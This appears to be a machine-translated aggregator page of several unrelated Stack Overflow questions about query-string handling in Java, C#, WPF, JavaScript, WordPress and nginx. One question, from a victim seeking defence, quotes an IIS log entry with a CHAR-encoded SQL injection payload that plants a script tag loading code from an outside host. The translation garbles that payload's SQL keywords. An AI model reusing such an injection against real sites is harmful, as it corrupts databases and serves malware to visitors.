我希望解析URL以获取Java中的查询字符串参数的集合.为了清楚起见,我需要解析给定的URL(或URL对象的字符串值),而不是来自servlet请求的URL.
看起来该javax.servlet.http.HttpUtils.parseQueryString方法似乎是明显的选择,但它已被弃用.
是否有一种我缺少的替代方法,或者它是否在没有等效替换/增强功能的情况下被弃用?
一个众所周知的问题是IE缓存了太多的html,即使给每个页面都有一个Cache-Control: no-cache或Last-Modified标题.
在使用查询字符串获取动态信息时,这种行为确实令人不安,因为IE认为它是同一页面(即:)http://example.com/?id=10并提供缓存版本.
我已经解决了它在查询字符串中添加随机数或时间字符串(正如其他人所做的那样)http://example.com/?id=10&t=2009-08-06_13:12:56,我只是忽略了服务器端.
有更好的选择吗?是否有另一种更清洁的方式来实现这一目标?我知道它POST没有被缓存,但GET在这里使用它是语义上正确的.
在导航样式的WPF应用程序(NavigationWindow,而不是XBAP)的上下文中:
Hyperlink的NavigateUri是否可以包含额外的参数,例如路径数据或查询字符串?例如,有什么方法可以将我的NavigateUri设置为/Product.xaml/123或/Product.xaml?id=123,并让我的Product.xaml页面能够看到它被调用参数123?
在研究如何将NameValueCollection转换为查询字符串时,我遇到了不同的方法.如果较短的lambda语法尽可能高效,我很好奇.
如何使用迭代函数将NameValueCollection转换为(Query)String.
public static String ConstructQueryString(NameValueCollection parameters)
{
List<String> items = new List<String>();
foreach (String name in parameters)
items.Add(String.Concat(name, "=", System.Web.HttpUtility.UrlEncode(parameters[name])));
return String.Join("&", items.ToArray());
}
Run Code Online (Sandbox Code Playgroud)
将一个NameValueCollection加入到C#中的查询字符串中使用一个lambda表达式,看起来不错,但我不确定它是否是高效的代码.
private static string JoinNvcToQs(NameValueCollection qs)
{
return string.Join("&", Array.ConvertAll(qs.AllKeys, key => string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(qs[key]))));
}
Run Code Online (Sandbox Code Playgroud) 我们有一个显然受到攻击的调查网站.症状与本网站的以下页面中描述的症状相同: ASP.NET网站上的XSS攻击.
我在IIS日志中发现了多个包含恶意代码的条目:
</ title> <script src = http:// google-stats49.info/ur.php>.
以下是其中一个IIS日志条目的cs-uri-query字段值的示例.
surveyID = 91 +更新+ usd_ResponseDetails +设定+类别名称= REPLACE(铸造(类别名称+为+ VARCHAR(8000)),流延(CHAR(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar( 116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar( 116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar( 58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar( 115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar( 102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar( 60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+为+ VARCHAR(8000)) ,铸(CHAR(32)+ AS + VARCHAR(8))) -
我不明白上面的代码是如何工作的,但显然这是在查询字符串中发送的内容,以破坏我们的数据库表中的列.我们暂时关闭了我们的网站.我们可以从数据库中删除脚本,但这并不能防止它在我们将网站重新联机时再次损坏.
有没有人对如何防止这种情况发生任何建议?
我正在编写一个小API,需要检查请求中的重复键.有人可以推荐检查重复密钥的最佳方法.我知道我可以检查key.Value中字符串中的逗号,但后来我又遇到了另一个不允许在API请求中使用逗号的问题.
//Does not compile- just for illustration
private void convertQueryStringToDictionary(HttpContext context)
{
queryDict = new Dictionary<string, string>();
foreach (string key in context.Request.QueryString.Keys)
{
if (key.Count() > 0) //Error here- How do I check for multiple values?
{
context.Response.Write(string.Format("Uh-oh"));
}
queryDict.Add(key, context.Request.QueryString[key]);
}
}
Run Code Online (Sandbox Code Playgroud) 我一直在为此而奋斗.
使用jquery或javascript,我如何切换变量和值,然后重建查询字符串?例如,我的起始网址是:
http://example.com?color=red&size=small,medium,large&shape=round
Run Code Online (Sandbox Code Playgroud)
然后,如果用户点击标有"红色"的按钮,我想最终得到:
http://example.com?size=small,medium,large&shape=round //color is removed
Run Code Online (Sandbox Code Playgroud)
然后,如果用户再次点击"红色",我想最终得到:
http://example.com?size=small,medium,large&shape=round&color=red //color is added back
Run Code Online (Sandbox Code Playgroud)
然后,如果用户单击标有"中"的按钮,我想最终得到:
http://example.com?size=small,large&shape=round&color=red //medium is removed from list
Run Code Online (Sandbox Code Playgroud)
然后,如果用户再次点击标记的"媒介",我想最终得到:
http://example.com?size=small,large,medium&shape=round&color=red //medium added back
Run Code Online (Sandbox Code Playgroud)
变量的顺序并不重要; 我刚刚把它们搞定到最后.
我正在制作一个wordpress插件.我在锚点中使用了add_query_string(),以便根据用户点击的链接加载内容.现在我需要知道在当前URI中获取参数值的最佳方法.
这可能是一个非常基本和愚蠢的问题,但我是编程的新手,所以如果我误解了一些术语,我很抱歉.
这是代码:
if ( current_user_can('manage_options') ) {
echo (
'<div>
<ul>
<li><a href="'.add_query_arg( 'adminoption', 1 ).'">option 1</a></li>
<li><a href="'.add_query_arg( 'adminoption', 2 ).'">option 2</a></li>
</ul>
</div>'
);
// if adminoption == 1 load content A
// if adminoption == 2 load content B
}
Run Code Online (Sandbox Code Playgroud) 是否可以在被调用的javascript文件上使用javascript获取查询参数,如下所示:
// in html
<script src="/file.js?query=string"></script>
// in file.js
console.log(this.location.query)
Run Code Online (Sandbox Code Playgroud)
这可能是某种方式,或者我必须使用服务器?
我正在使用Nginx并尝试使用proxy_pass重定向到作为查询字符串的URL.我还想避免将任何其他参数传递给该URL.
这是我发送给代理的网址:http://10.10.10.10/proxydownload? url= http : //www.test.com/d/guid/download&session=123
这就是我在nginx.conf中所拥有的:
location /proxydownload {
proxy_pass $arg_url;
}
Run Code Online (Sandbox Code Playgroud)
但是,这会产生502错误,我不知道为什么.根据日志,$ arg_url包含" http://www.test.com/d/guid/download ",这就是我想要的网址.我试图在proxy_pass中对URL进行硬编码并且它有效:
location /proxydownload {
proxy_pass http://www.test.com/d/guid/download;
}
Run Code Online (Sandbox Code Playgroud)
我使用$ arg_url的方式有什么不对吗?
query-string ×10
javascript ×3
c# ×2
url ×2
asp-classic ×1
file ×1
html ×1
java ×1
jquery ×1
lambda ×1
navigateuri ×1
navigation ×1
nginx ×1
parsing ×1
performance ×1
proxypass ×1
sql-server ×1
wordpress ×1
wpf ×1